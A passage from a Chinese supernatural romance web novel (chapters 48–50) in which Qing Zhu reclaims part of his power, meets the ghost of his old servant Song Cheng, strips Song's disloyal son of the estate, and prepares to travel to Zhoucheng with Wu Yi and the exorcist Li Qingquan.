乌宜拿起来认认真真打量,恍然大悟:“我们这是误打误撞了?” “具体情况不清楚,但里面的确有我一部分力量,只是比我想象中要少很多。” 乌宜有些欣喜,想到顾掠影这个人,虽然还是有点不高兴,但给卿烛再次找到一份力量的喜悦还是将这份愤怒冲灭了。 “那看来也不算白费功夫嘛,按照这样算,难不成顾掠影的姥爷就是你原先的仆人?是哪一个呢?” 秦东临和傅桉的笔记里都有提到其他几人的名字,虽然没有很具体的大名,但乌宜对于剩下的那三个基本都有些了解。 大家公认卿烛最信任也对待最严格的阿风,以及一个叫宋成的,还有一个人名字跟秦东临一样也有个东字,叫做大东。 “不是。” “嗯?” 乌宜还打算跟他赌一赌。 “那时不在屋子里。” 乌宜猜:“那就是他爷爷?但是我之前听说,他爷爷好像去世了。” 卿烛沉默不语,只是忽然抬起手看了看自己的掌心,若有所思。 “是他的血。” 他并未明说,可乌宜却明了他的意思,“顾掠影的血让你感到熟悉吗?” 卿烛嗯了一声,说:“我明天去顾家一趟。” “合适吗?”乌宜不免担忧,他们今天刚把别人家里弄成那样,还不知道顾掠影他姥爷报警没有呢,就自己送上门去了。 “我一个人去,你去秦家。” 乌宜听出好像有点不对,顿时拢着被子紧张地坐起来,“很危险吗?” “不会。”卿烛似乎到这才意识到自己说太多只会让他担心,微蹙眉头思忖片刻,只得道,“秦东临想见你。” “你该不会是在骗我吧。”乌宜才不信。 卿烛很无奈地笑了一下,“没骗你。” “真的?” “嗯。” 乌宜定定地看了他一会儿,才高高兴兴地掀开一边被角让他进来,等卿烛躺在他身边,他便贴过去。 “那你吸收那些力量,还要睡觉吗?” “要,但时间不需要从前那么长。” “多久。” “一晚。” 乌宜还以为他在逗自己:“真的假的?你跟我开玩笑吧。” “我以前经常骗你?”卿烛微微眯起眼睛,带着点儿威胁的意味。 那当然没有,只是偶尔。 乌宜知道他什么意思,心里的大石头便放了下去。 “那你就赶紧睡吧,别耽误时间了。” 其实他还有一肚子的问题好奇,但是什么都比不上卿烛的身体重要,所以他愿意将自己的好奇心延一延,等这件事情完全结束了以后再找卿烛问个清楚。 这天晚上,两人相拥而眠,乌宜睡了很安稳的一觉。 梦里他好像变得很小,被一团黑雾笼罩着,从大山半空飞过,像是长出了翅膀。 地面上的一切都变得渺小,等到了足够高的地方,他才发现自己了解的地方原来只是那么小小一片,而层叠的山峦后,还隐藏着一片纸醉金迷的大都市。 从那天回去以后,他就开始向往,日子一天天过去,他很快长大了,来到了自己一直想要进入的城市,变成了一个普普通通的学生,做着许多不为人知的事情。 他侧过身,看见身侧的浓重黑雾逐渐汇聚成了一个具体的人形,抽芽发枝一般舒展,最后黑色长发抚过他的手背,俯身时露出了那双狭长淡然的眼眸。 嘴唇被很轻地吻了一下,那双妖冶的眼眸微微弯起,露出了只有对着他才会有的放松和自然。 是的。 从小到大他最满足的一件事,就是无论发生什么,都有一个人无条件地站在他的身后,为他的选择买单。 无论他想要倾诉什么,都能在这个人的身上找到答案,即便他们之间的差距是那么遥远,他们是完全不同,可是他真的觉得很幸福。 他想要和这个人永远在一起,直到他生命的最后一天。 “……” 第二天,卿烛来秦家接人时,已经日暮,乌宜和秦东临对坐窗前,面前摆着棋盘,玉石棋子一黑一白落了满盘。 听见有人进来,乌宜噘着嘴回头,好似受了欺负般。 秦东临却是笑呵呵的,“先生来了,那边事情处理如何?” 卿烛摸了摸乌宜的头,见他也满脸好奇,便先回答了正事。 “是宋成。” 秦东临一讶,面容上透出哀伤,“不该是这样啊,宋成原先是最老实本分的了,他……” “宋成一直守着我给他的东西,五年前意外去世,宋成的儿子宋问改姓为顾,请人换了命格。” 乌宜注意到卿烛说到这里眉眼微压,显而易见的不高兴,下意识牵住了他的手。 秦东临也怔住了:“怎么会这样,他们真不是东西。” 屋内的气氛瞬间变得凝重,乌宜大致听懂了,心里有些为那位宋爷爷惋惜。 “宋成是抑郁而终,儿孙无志导致,我会找他们讨回这本账。”卿烛声音冰冷。 秦东临忆起老友,心中惆怅万分,可人已经走了,他们迟了这么多年再缅怀,已经有些迟了。 “不知道宋成被葬在哪了,我想去看看他。” 卿烛淡道:“他还没走。” “什么?”秦东临愣了一下,苍老稳重的脸上竟然流露出一种孩子气的茫然,“您刚才不是说宋成几年前病逝……” 卿烛一言不发,只看向同样愣愣抬着头的乌宜。 四目相对,乌宜困惑地“嗯”了一声,从对方的眼中读出某种情绪,似懂非懂。 这又是要自己猜呢。 他开动脑筋想了半天,抬头对上秦爷爷期待的眼神,有点不好意思,正想要说自己猜不出,抬头再同卿烛对上视线时,却猛然灵光乍现。 “卿卿你是在说宋爷爷的魂魄还没走吗?” 卿烛表情未变,抱臂点了点头,姿态却显得有些欣慰。 秦东临讶然:“这是什么意思?难不成宋成还有什么心愿未了?” “我先前去看傅桉就是为了确定这一点,今天和宋问一同去了宋成的墓地,在那里我见到了宋成。”卿烛没再卖关子。 显然,那一切并不是他从宋问的口中撬出来的,而是他从宋成、真真切切经历了一切的当事人口中得到的答案。 乌宜呆呆愣愣的,还有点没反应过来,“好神奇啊。” 他这会儿想起卿烛说的鬼魂,没想到这么快就可以见到真的了,心里头害怕的同时,也不禁激动起来。 “他魂魄虚弱暂时离不了墓,过几日等他修养好,我带他回宋家。” 卿烛这里说的不是顾家,而是宋家,乌宜心跳微微加快,察觉到他要做什么大事。 “也好,他这些年也吃了不少苦。”秦东临忽然站起身,毕恭毕敬冲着卿烛一俯身,“先生,我也想去。” 知晓秦东临是重义气的人,卿烛便也没有拒绝。 约好时间,秦爷爷起身去茶桌泡茶,乌宜趁此机会拉住卿烛的手,轻轻摇晃撒娇。 “卿卿,那我也能去吗?” 卿烛:“你又不怕了?” “我只是害怕陌生鬼,宋爷爷是你的好朋友,所以对我来说也不算陌生人啦。”乌宜振振有词。 卿烛向来拿他没办法,也知道拒绝无用,只得嘱咐:“跟着秦东临,不准自己乱走。” “我保证!”乌宜眼睛一亮。 他只要达到目的就心满意足,从不过多纠缠。 心里正乐呵着,又见卿烛垂眸,看向了棋盘上古怪的落子。 “你们下的是什么?” 乌宜心虚:“五子棋啊,秦爷爷是黑子,我是白子。” “……”卿烛扫了一眼,委婉道:“我看白子已经连成了两条。” 乌宜鼓鼓脸颊,不满道:“秦爷爷说让我三局,他就算连上了三条也不算赢,倒是我很快要赢了哦。” 他指了指自己认为很有赢面的那一片,身边的人却俯身,手指落在另外一面。 乌宜看完脸一红,他都没发现秦爷爷又要连成一条线了,要不是卿烛刚才忽然打断,他现在估计已经输掉。 卿烛轻笑,手指轻揉他红到滴血的耳廓。 喝过茶,离开前秦东临还要和乌宜下完,他不好意思地说自己已经输了,拉着卿烛跑路。 第二天,秦东临和秦念语一同和乌宜出发抵达宋家。 乌宜认出这里并不是他去过的顾掠影家,而是一座更为古朴和偏僻的位置,后面有绵延的后山,阳光洒落山峰,让人感受到淡淡的暖意。 下车,出来迎接的是一个鼻青脸肿的中年男人,他一看见卿烛,顿时露出了惧色,只能赔着笑打招呼。 “几位请跟我来。” 他没有问秦东临三人的身份,亲自带着他们往后山走。 穿过后院祠堂时,乌宜看见顾风顺站在走廊处,正面色凝重地看着他们经过,扫到乌宜时流露出明显的错愕。 乌宜怔愣一下,收回目光,跟上了前面的卿烛。 他现在看见顾风顺时,心里已经不会出现那种很强烈的厌恶感了,或许是因为他对顾掠影也全无好感,所以并不在意这一家子人的真实面目。 后山很高,但路并不算陡峭,看得出来有专人维护,上山的路障都清除干净。 宋问全程不敢说话,走在最前面引路,卿烛在他身后不远处,步伐轻松稳健,抬起头望向远方隐约可见的墓碑,红眸中泛起一缕微光。 秦东临不需要人搀扶,一步一步走得平稳,秦念语跟在他身后半步,却始终小心着。 快到地方时,秦东临让秦念语站在山腰等候。 不多时,瞩目的墓碑出现在眼前,乌宜踏上平地,气喘吁吁地看清楚了上面的照片。 那是个很斯文温和的老人,黑白照片上带着微微的笑意,面露善意。 分明从来没有见过,可乌宜却滋生出一种熟悉温暖的感觉。 秦东临的眼中溢出热泪,深吸几口气,久久无法平复心情。 宋问忐忑不安地看着他们,没敢出声说话。 而下一瞬,卿烛抬起手,一缕黑雾缭绕至小山包上,几人的面前逐渐出现一道半透明的虚影。 那是个清瘦的老人,身影漂浮在空中,始终与地面保持着几厘米的距离。 宋问看见那黑影,几乎瞬间就吓得跌坐在地上。 “老宋!”秦东临却是激动无比,还上前两步。 那黑影冷冷地看了地上的宋问一眼,转而望向秦东临,嘴唇也颤抖起来,“东哥。” 秦东临泪眼婆娑,“这么多年不见,你……” 乌宜站在边上看着两人叙旧,心中也不由升起感动来。 但两人也清楚这并不是说话的地方,宋成如今不能长时间保持清醒,只能抓紧时间将自己清楚的事情说了。 “先生,我这个儿子既然改姓为顾,那也不再算是我的血脉,这些年我打拼的家业,您如果不嫌弃……” 卿烛并不在意这些,“东临的女儿年少有为,你能放心。” 宋成自然不会有意见,他和秦东临从前关系最为密切,现在被自己的孩子伤了心,只要是交给自己信任的人,怎么也不算辜负他从前的拼搏。 宋问不可置信地说:“您不能这样!” “闭嘴。”宋成已经对他不再有耐心,见自己这个自小懦弱的儿子此时还发着抖,心中只觉得讽刺,“你胆子小,却敢做出这种事情,既然你要姓顾,往后就自立门户吧。” 宋问还想要说什么,声音又沉闷地被捂在空气中,乌宜看见他的口鼻覆了一层黑雾,显然又是卿烛使用出了对顾掠影的那一招。 “你心愿了却后,想什么时候走都行。”卿烛说。 宋成怔了怔,却毅然决然道:“我暂时还不想走。” 秦东临讶异:“为什么?” “我知道先生正在找寻自己的力量,我现在这副样子,别人也看不见,等养好魂魄之后正好可以为先生所用,等做完这些,我再走也不迟。” 宋成说到这里,忽然又顿了顿,咬着牙一字一句道:“我原先没察觉过,之后死了才恍然发觉,虽然对于我们来说是分开了,可其实有人始终在盯着我们。” 乌宜心底一震,忽然想到了傅桉被撕去的那两页笔记。 第49章 宋成的精力有限, 卿烛替他了却心愿,将人与乌宜身上的苗苗绑定,准备带回家去。 路上, 秦东临还未从震撼中脱神出来。 “我以为他们都信守承诺,这么多年都没见过,竟然有人一直在观察我们其他几家,如果是这样……他们应该也知道先生苏醒的事情,可不但不将原物奉还, 还刻意藏着掖着,果然是有异心。” 宋成也义愤填膺:“从前倒是没看出来。” “你大概还不知道其他人的情况。”秦东临叹了口气,“等你好些了, 我细细跟你说。” 此时的宋成还处于虚弱当中, 说起话来气若游丝,让人总忍不住小心又小心。 可他自己偏生没意识到一般, 很快又同边上的乌宜打起招呼,“刚才还没问过这位小朋友, 就是先生的朋友吧。” 乌宜忽然被点到,顿时紧张起来,“宋爷爷好。” “好好好。”宋成呵呵笑起来, “是个有礼貌的孩子, 还在读书吧。” “嗯。” 乌宜有点局促,正纠结自己要不要主动开启什么话题, 就听见宋成的声音戛然而止。 “安静点。” 卿烛的声音冰冷,并没有任何体谅老人的意思,宋成轻咳一声,也意识到自己过分啰嗦,立马噤声了。 抵达山腰同秦念语会和, 一行人下了山,穿过宋家时,瞧见站在不远处的顾风顺和顾掠影,那天离开的时候乌宜没有再见到这个人,现在才发现顾掠影站着的姿态有些佝偻,一条手臂打着石膏挂在胸前,脸上还有明显的划痕。 看起来就像是从什么很高的地方摔下去了。 四目相对,乌宜收回视线,不想跟他们任何一个人有交流。 看着几人要走,最终还是顾风顺沉不住气,“我父亲呢?” 几人丝毫未动,他便看向走在最后面的秦念语,殊不知这个人更不好惹,全程就像没看见他这个人一样。 直到一行人消失,宋问一瘸一拐地从山上下来。 “爸爸,你——” “闭嘴!”宋问已经全然没了平日的耐心,走到桌前坐下,面如死灰,看起来十分绝望。 顾掠影看着他懦弱颓丧的模样,心中没有分毫心疼,只是觉得讽刺极了。 从第一次来到顾家,他就知道这个家里没有自己的容身之处,顾风顺从小被宠到大,无论如何他们也割舍不了。 他在养父母家过着猪狗不如的生活,回到自己的家里,还是低人一等,这让他心中的恨永远无法磨灭,甚至于到了现在这样四面楚歌的情况,他好不容易拥有的这一切也要消失,可看着面前两人濒临崩溃的模样,他却只感受到了一种近乎扭曲的畅快。 是啊,凭什么让他一个人绝望呢?大家都要一起感受才对啊- 乌宜本想将苗苗带回家里,但宋成如今寄在被赋予灵识的苗苗身上,秦东临知晓卿烛不爱被打扰,便主动将草和魂都迎回了自己家里。 家里依然安静,卿烛偶尔去一趟秦家,催长苗苗的灵识,同时也能让宋成逐渐恢复力量,尽早独立出来。 秦念语雷厉风行,同傅流晔去宋家取了宋成先前留下的公证遗嘱,将遗产从宋问手中取走,将这一家人都赶了出去。 乌宜知晓消息只觉得大快人心,放学看完消息就止不住激动,被岑悦一同接去了秦家,才发觉大家都在。 两家人难得聚齐,还多了个老朋友宋成,气氛很是温馨。 岑悦他们看不见宋成,只接到了秦念语的嘱托,便知晓是卿烛的吩咐,所以也全程没有多问,只是照做。 乌宜可以看见宋成,也瞥见秦东临总是给他递东西,虽然宋成吃不了,但凑过去嗅嗅也显得很高兴。 秦念语也带着秦似锦来了,秦一帆远在国外,乌宜本就不想见到他,此时心情更是轻松。 屋子里很热闹,乌宜抱着岑锦去院子外面玩,见人放上摇椅,自己坐在小矮凳上打量种进新盆栽的苗苗,他身上有一缕微光,正牵引着在屋子里飘的宋成,不过这一幕只有他和秦东临可以看见。 “哥哥,这是什么东西?”岑锦忽然脆生生开口。 乌宜好奇:“什么?” 就见岑锦抬起头,指向了那细细的光带,正是苗苗和宋成之间的那一条。 他怔一下,不由得吃惊:“你能看见?” 岑锦冲他露出一个灿烂单纯的笑容,“我当然可以看见啦。” 乌宜不由得担忧,问:“那你能看见另一端牵着的东西吗?” 说实话,即便是他偶尔看见宋爷爷飘在屋子里,都会觉得有一点吓人,更别说岑锦一个孩子了。 但好在岑锦好奇地张望了片刻,只是乖乖地摇头,“看不见呀,那边什么都没有。” 他这才松了口气。 “没事的,这个就是苗苗的东西,但是你不要轻易去碰,知道吗?”乌宜想了想又补充,“不然会伤害到苗苗的。” 听完这句,小丫头果然正了表情,认真点点头。 “我知道啦。” “我知道小锦懂事。”乌宜摸摸她的脑袋,让她自个去玩了。 外头风大,溜达一会儿,他便喊着岑锦进屋,自己进去看见卿烛不在大厅,便习惯性上了楼。 他知道卿烛不喜欢吵闹的地方,通常都会在楼上的书房待着,秦爷爷还特意给他置办了一间。 平时来这里的门都是半掩着,今天却是完全关上,房门厚重,推开时没有发出丝毫声响,他听见里面的讨论声传出。 “如果真是这样,还真是难查了,先生奔波这么远也不妥。” “你也知道阿风是什么性子,他这个人最是偏执,从前跟着先生的时候忠诚又固执,这么多年过去,说不准性格变得更……” “等我养好了魂魄,就先去一趟洲城。” “老宋,你都这样就别逞强了,养到什么时候是个头。” 两人争执着,卿烛靠在窗前,抱臂望向外面,长发被风扶起,像是根本没将他们的话听进去,只道:“我亲自去,你们不用管。” “先生。”秦东临叹了口气,“那小宜怎么办?他可还有学业在身。” 听见自己的名字,乌宜鬼使神差地顿住脚步,歪着脑袋往门缝看,透过镂空的柜子隔断隐约看见两人一鬼坐在里面。 “你们这么多人,还照顾不好一个小孩?” 秦东临被他噎了一下,无奈笑笑:“您又不是不知道,小宜最喜欢黏着您,您先前沉睡的那段时间,他可是茶饭不思,再说……” 他顿了顿,引来身边的宋成眼神奇怪。 卿烛也转向他,秦东临轻咳一声,还是说了下去:“再说了,您自己也不能放心。” “没什么不好放心的。”卿烛语气淡淡,“不需要多长时间,宋成和苗苗跟我走就行。” 听着他们趁着自己不在密谋这些,乌宜心情复杂,心好像被什么东西拧成一团,委屈地能流出酸水来。 怎么一发生什么事情就是要把他甩下,他就有那么累赘吗? 这个卿烛……之前还说不会再骗他,结果现在又背着他商量这些,该不会又等着之后直接留下一句话,第二天就不见踪影吧。 “先生,您还是别胡说了,小宜听见该伤心的。”宋成忽然说。 乌宜还没反应过来,就发现三人齐齐抬头朝着他的方向看过来,他怔愣半天,才迟钝反应过来这几个人早就知晓他站在这了,刚才都是在故意逗他。 他想也不想推门进去,绕过隔断,对上了卿烛淡淡的视线。 “小宜是玩累了?要不要去隔壁房间休息?”秦东临声音温和。 偷听被抓包这件事实在有些丢人,乌宜抿着嘴唇摇摇头,不太想说话。 “那就回家了。” 卿烛直接做了决定,起身朝他走来。 不等他说话,乌宜就先一步转身往外面走,走出去两步又觉得这样不礼貌,只好停住脚步回头。 “秦爷爷,宋爷爷,我回家了。” 闷闷不乐的语气让两位老人都想笑,只冲他点点头。 下楼和其他人打过招呼,乌宜披上外套出门的时候卿烛已经将车开到了门口,他拉开车门上去,板着小脸依旧不高兴。 傅流晔他们也准备回去了,乌宜听见说话声转过头去,看见几人朝着车库走去,正收回目光,就看见卿烛探身过来,那张极具冲击感的脸近在咫尺,让他的心跳忽然变得很急。 修长的手臂捞至他身侧,显然是在扯安全带,他便坐着没有动,故意做出一副波澜不惊的姿态。 谁料随着咔嚓一声,安全带被插入卡扣中,他面前同时也一黑,温热的触感落在嘴唇上,是卿烛啄吻了他一下。 身体顿时僵硬起来,他瞪圆眼睛看着面前的人,原本的淡定也有点维持不下去了。 “你走开。” 他故意冷冰冰。 卿烛退开了些,笑说:“故意说给你听的,也生气?” “那你的想法总不是假的,你会带上我吗?”乌宜故意问。 卿烛没有丝毫沉默,斩钉截铁的道:“不会。” “……”那还说什么? “你要上学,这些事你不用管,我很快回来。” 乌宜气不打一处来,“你要是真的能解决一切就好了,之前你也说找自己的力量不危险,但是你都出多少次事情了。” 他真想说没有自己不行,可是又觉得显得太过自恋,反正卿烛自己可以领会到。 车内安静了片刻,卿烛微微眯起眼睛,打量他片刻,像是意识到他是认真的,才若有所思地问:“你真想去?” “不是想,我就要去!” “好。” 听见这声应答,乌宜还怔了两秒,不可置信:“你答应了?” 这么草率吗? “让你去也不高兴?” “才不是,我怕你只是缓兵之计而已。”毕竟卿烛可不是第一次使这种伎俩。 “你想就去,随你。” 卿烛言罢,从他身边退开,将车重新启动。 乌宜半信半疑地看着他,感觉不像是撒谎,但还是不那么放心。 回到家里,他收到李青泉的消息,得知对方明天就会到云京,有点雀跃,又想到什么,转头去找卿烛。 客厅书房都没有,他推开房间门,听见浴室里传出水声,想着卿烛应该在按照他指定的作息表刷牙,想也没想便推门进去。 “我跟你说一件事——” 门一开,乌宜整个人僵住,虽然极力控制着自己的视线,可还是不由自主下移。 天啊! 手忙脚乱关上门,他脸已经完全涨红,心跳前所未有的快,几乎在脑海中无声尖叫。 这个卿烛洗完澡怎么不穿衣服!吓死他了! 极力调节着自己的呼吸,可怎么也没办法做到淡定,卿烛似乎并没有隐私意识,在看见他进去的时候毫无反应,头发被挽起束在脑后,脸上还是淡定的表情,也就导致乌宜将他的身材完全收入了眼底。 没办法否认,真的很完美,没有一个地方是不好看的,尤其那个地方也是,出奇的优越。 怎么这么夸张啊!!! 足足十分钟,乌宜还没能将那画面暂时从脑海中摘除,等于是门打开,已经穿上了家居服的卿烛从里面走出来,他的大脑就跟更加不可收拾了。 完蛋啊。 卿烛倒是很平静,淡淡道:“你不是说进浴室之前要敲门?” “……”乌宜难得被他控诉也不反驳,“我忘记了,我以为你在刷牙。” 他进门的时候卿烛的确在挤牙膏。 想到这里,他又理直气壮起来,“你刷牙为什么不穿衣服?” 卿烛:“我刚洗完澡,不是你制定的计划吗?洗完澡刷牙。” “但是你洗完澡要穿衣服啊,谁不穿衣服站在那刷牙的。”乌宜哑口无言,恨不得让他赔偿自己精神损失费。 卿烛:“这条你没写。” “……” 乌宜简直要气炸了,可他的确理亏,又再说不出辩解的话,只好蔫了吧唧扑进床,用后脑勺对着卿烛,无声抗议。 好在卿烛见好就收,没有继续追着他。 “你刚才要说什么?” 乌宜把脸闷在被子里,瓮声瓮气地说:“我想问你,要不要把李青泉也带上,之前他也帮上了我们很多,他现在手上还没有很多的单子,我们可以买他的时间,让他跟我们一起去洲城。” 李青泉虽然有时候不靠谱,但也是有真本事的。 卿烛没有异议:“都行,他还能陪你玩。” “你这话什么意思?我可不是去玩的。”乌宜不太满意,“我有那么累赘吗?” 卿烛便不吭声了,一言不发吹干头发躺上床,在自己的位置侧躺下,然后又看着摸过手机在玩的乌宜。 最近后台的私信增多,乌宜发现他们最近总是把自己捆绑在那个弟控话题下面,有点怕被发现,连忙将自己去伦敦那次的拍的照片隐藏了。 次日,李青泉抵达云京,正埋头在餐桌前狼吞虎咽,听见乌宜要包自己,顿时一个激灵坐直身体,满脸都是激动。 “那还用说什么,咱们用得着客气吗?你说个时间,如果不合适的话我就推几个单子。” “还没这么快呢,还要等宋爷爷修养好魂魄。”乌宜好久没见到他,这会儿心情也很是雀跃,“对了,你见过鬼不?” 他语气嘚瑟,还带着显而易见的炫耀。 李青泉啧他:“你瞧不起谁呢,我当然见过,还不只见过一个,我猜猜,你看见人家的时候肯定都差点吓哭了吧。” “才没有!” 乌宜跟他斗嘴,卿烛就靠在摇椅里看书,直到有人从边上跑过,才缓缓抬起头。 他手里拿着一本纯英文的书,乌宜看见就头大,擅作主张将书合上,认认真真跟他问了时间,又表示自己最近要多去店里看看。 “虽然岑阿姨会帮我盯着,但还是有点不放心。” 卿烛能理解,“早点回,别在外面久待。” “好!” 乌宜冲着李青泉眨眨眼,两人很快就溜出去了。 其实他们出来并不是为了玩,而是考察李青泉下一个客户,那是个闹鬼的别墅,据说一到晚上就会出现啼哭声,还会有黑影在屋子里面晃来晃去。 乌宜在路上听李青泉说,就汗毛直立了,等到了地方,瞧见灯火通明的别墅,又觉得看起来很正常。 “好像也没有那么恐怖嘛。” 甚至都还没有顾掠影姥爷家的那个房间渗人,他到现在都还有点忘不掉。 “这种情况通常都是自己吓自己,不过我当然不会跟他们说了,驱鬼的价格跟破案可不一样。”李青泉对他向来是没什么隐瞒的,只是在进门之前冲他笔画了一个嘘声的动作,示意他进去以后不要乱说话。 乌宜自然明白,乖乖闭上嘴巴跟在他身后。 开门的是一个留着胡子的微胖中年男人,他看见穿着奇装异服的李青泉,顿时露出了松口气的表情。 “大师,您可算来了,他们几个还担心今晚不能睡好觉呢。” “您是李先生吧,咱们都是本家,放心放心,我看看就知道什么情况。”李青泉笑着进门,从乌宜手中接过鞋套穿上。 那位李先生笑了笑,瞧见后面的乌宜后怔了怔,露出点惊艳的表情。 见他愣住,李青泉不着痕迹地往前走了两步,遮住乌宜,“是在二楼吗?咱们直接去看看吧。” “对对对,您跟我来。” 李先生带着他们进去,乌宜刚踏入玄关,就听见了一道含糊懒散的声音从二楼传来。 “李哥,你别老瞎说行吗?谁晚上不敢睡了,我是被他们每天晚上的鬼叫给吵得不行。” 李哥撇他一眼,不耐烦地说:“就属你最装,之前在鬼屋不敢睁眼的不是你吗?” 乌宜抬起头,看见那是个青年,看起来桀骜不驯,指间夹着一根细长的香烟,袅袅烟雾散在他脸上,清晰可见眉钉,很有个性。 察觉到有人在看自己,那青年也朝着乌宜看过来,眉头微微挑起,似笑非笑。 “哟,这位天师还带个朋友呢,是你儿子吗?” 乌宜:“???” 李青泉也被他的话给弄得无语了,“他是我徒弟。” “小徒弟。”青年笑笑,“你们这种师徒,正规吗?” 李哥听不下去了:“你闲着没事做就回去直播,这个月时长还差一大半,你还有空在这吵。” 那人饶有兴致地盯着乌宜看了一会儿,乌宜不喜欢烟味,下意识皱皱眉头,纠结要不要抬手捂一下,又觉得好像不太礼貌。 而下一瞬,青年便捏着烟回到了房间,那味道被走廊的风一吹,散了不少。 “你们别见怪,他们几个平时压力大,脾气都不太好。”李哥笑笑。 乌宜看见李青泉很淡定地点了点头,可不知道为什么,垂在身侧的手却好像在微微发抖。 是冷的吗? 但是在干活期间,他还得帮助李青泉维持他的逼格,便没有开口。 两人在那交谈,一会儿关灯一会儿开灯,不多时还真有类似于孩童尖叫的声音传出来,乌宜有点背后发凉,习惯性摸了摸手腕。 很快灯打开,李青泉将自己带来的东西逐一摆开,直接在院子里表演了一场点火。 这套流程乌宜有点熟悉,他记得很久之前李青泉去一户招财的人家,也是比划了这么一出。 两个小时后,李青泉收钱走人。 乌宜上车都憋坏了,忍不住问:“你都做了什么啊?那个声音真的没了,点火这么有用吗?” 谁料李青泉比他还要激动:“你看见了没有?听见了没有?” 乌宜一脸茫然:“什么啊?” “你居然没发现!他们是X战队的!就是那个拿了两次冠军的电竞战队。”李青泉脸都涨红了,“刚才跟你说话的那个,就是他们战队的队长,我靠,居然阴差阳错见到,我可崇拜他们了。” “……” 乌宜似乎听他说过,但是没有太多的印象,他对于这个游戏的记忆只有镜,就是那个偶尔会跟他聊天的游戏主播。 想到这里,他又发现自己和镜自从上次他倾诉过后,就很少聊天了,对方好像变得很忙,直播的时间都不再稳定。 “我真服了,要不是因为穿着这身衣服,我肯定就直接去找他们要签名了。” 乌宜嗯嗯敷衍过去,继续问自己好奇的事情:“所以那个到底怎么解决的啊?” “啊?”李青泉含糊回答:“就是窗户漏风,形成对流了,刚趁着上厕所的时间帮他们修了一下窗户。” 乌宜想破脑袋也想不到会是因为这个,硬是抓着方向盘愣了两秒,直到后车摁喇叭,他才发现灯转绿,赶紧绕过了这个路口。 “那鬼呢?他们晚上不是还看见了黑影吗?” “你进门以后没看见吗?他们屋子多乱啊,东西丢的到处都是,八成就是漏风的时候把塑料袋吹起来了,睡得迷迷糊糊看见,很容易就误会了。” “好吧……” 乌宜顿时觉得无聊透了。 “你是不是经常遇见这种啊?那这么说的话,网络上流传很久的那种事情,应该也很多都是误会了。” “大多数吧,我倒是没遇见过什么真恐怖的,倒是我师父,从前见过很多稀奇古怪的事情。”李青泉嘿嘿一笑,“他老人家见多识广,我看他任何情况都能对付得了,这辈子就没怕过什么。” “那好厉害啊。”乌宜有点崇拜,“你师傅肯定是个大好人。” “那当然,等我们从洲城回来,我师傅的事情应该也办完了,回头我介绍他跟你和卿先生认识。” 李青泉说到这里,又想到什么似的,叹了口气。 “他老人家好不容易下一次山,估计也是最后一次了,他的身体近年来不太好……” 乌宜同情地看了他一眼,“他有你这么个尽孝的徒弟,也能放心了。” “那是,我师傅最信任我。”李青泉唇角露出一丝满意的笑容,望向窗外。 夜黑风高,城市之中却尽是霓虹璀璨,这样美好的世界,像是能遮盖住所有的阴暗。 第50章 出发洲城前, 卿烛亲自去给乌宜请了病假,直到那一刻,乌宜悬着的心才放松下来, 终于能确定卿烛不是在敷衍,而是真的决定带上他。 这让他很是欣慰,出发前两天对卿烛的态度都好了不少,整天跟他贴着,几乎说什么都答应, 小脾气完全收敛起来。 李青泉忙着清自己的预约,只有晚上很晚才会回来,所以白天家里一个人都没有, 乌宜便更加光明正大地黏着卿烛, 像是个小挂件,走哪带哪。 这期间乌宜又见过两回赵易, 才发现卿烛和他现在联系很频繁,起初心里多少有一点不舒服, 可对方每次都给他带礼物,久而久之他也没办法再冷着脸。 赵易得知他们要去洲城,提前联系好了酒店, 如果不是乌宜阻止, 看起来还想直接在那附近购下几套房产方便他们行动。 乌宜不怎么跟他说话,倒是跟他的助理很熟悉, 赵易的随身助理是个很温柔的女人,虽然初见的时候很严肃,但熟悉一口就展现出很温柔的一面,让乌宜觉得她很有礼貌。 赵易并不知道自己是沾了助理的光,在他们出发前一天又来到了家里, 身后还跟着不少人,是来院子里安装智能警报系统的。 “从前卿先生在的时候不需要,你们有段时间不住在这,还是得小心一些。” 乌宜知道他说的有道理,便也没有阻止,坐在院子里看着工人敲敲打打,赵易给他注册了软件,只要点开就可以看见别墅周围的情况。 “那倒是不错。”乌宜坐在秋千上,两条腿轻轻晃悠,总算愿意给赵易一点好脸色,“你最近家里还顺利吗?” 赵易立在他身侧不远处,闻言看过来,思忖片刻点了头,“还可以。” 乌宜不太会寒暄,只能直白地表达好感:“那我回来的时候给你带礼物吧。” 赵易显然有些受宠若惊,“好啊。” “你有什么喜欢的东西吗?”乌宜认认真真询问。 “我喜欢滑雪和打桌球。”赵易也不是扭捏的人,直接说了自己的爱好。 “好,那我看看吧。” 其实乌宜觉得有一点复杂,他没怎么了解过,但还是决定费点心。 装完,当天赵易留在家里吃饭,是卿烛下厨。 吃饭的时候乌宜安安静静听李青泉说今天发生的事情,满脸新奇,视线一移看见边上的赵易动作似乎很是紧张,抿住嘴唇有点想笑。 他又扭头去看卿烛,对方不怎么爱吃东西,所以简单填饱了肚子便只是安安静静坐着,似乎在沉思什么。 乌宜很熟悉他这种走神的状态,一眼看上去很是严肃冷漠,让人觉得气氛不对,实际上他根本没有在听周围的人对话。 赵易吃过饭出去,乌宜看他背影孤零零的,又有一点愧疚,想了想还是追出去送他。 “外面冷,你回去吧。”赵易换完鞋正推开门,看见他连忙招呼。 “那我送你到这里。”乌宜想了一下,“赵易哥哥。” 赵易明显对他的称呼感到诧异,怔愣一下才回:“嗯?” “我露台上种了很多花草,我害怕它们会死掉,你有空的时候可以帮我来看看吗?”乌宜想了一下,“我不想把不熟悉的人放进我们家里。” 赵易紧绷的表情逐渐放松下来,唇角流露出一丝笑意,“好,我会抽空的。” “谢谢你。” 乌宜冲着他挥挥手,等他下了楼梯才把门关上。 第二天一早,三人动身前往洲城,傅流晔提前安排了私人飞机航线,登机后李青泉和乌宜便坐立难安,像是来到了新大陆。 下飞机以后,湿热的空气扑面而来,这里的温度没有云京那样低,乌宜脱了羊毛衫,穿着单薄的衬衫坐上车,往窗外张望,看哪里都觉得新奇。 “好多花啊。” 窗户降下,乌宜的发丝被吹动,白皙漂亮的脸上尽是惊喜和放松,趴在窗户前硬是不愿意关上。 “我还是头一回来呢。”李青泉举着手机拍照,浑身也是出行带来的亢奋。 两人凑在一起热热闹闹,卿烛坐在前面,却始终安静,目光落在窗外,又在走神。 到了酒店,管家已经提前将房间开好,三人进门,套房内温度适宜,灯火通明,华灯初上,远远望去能眺望大半个城市。 套间里有三个房间,李青泉占一间,宋成还在苗苗身边沉睡,他最近状态还不错,但休眠的时间比较长。 